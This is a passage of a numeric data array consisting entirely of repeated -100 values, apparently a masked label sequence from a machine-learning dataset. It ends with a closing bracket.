-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]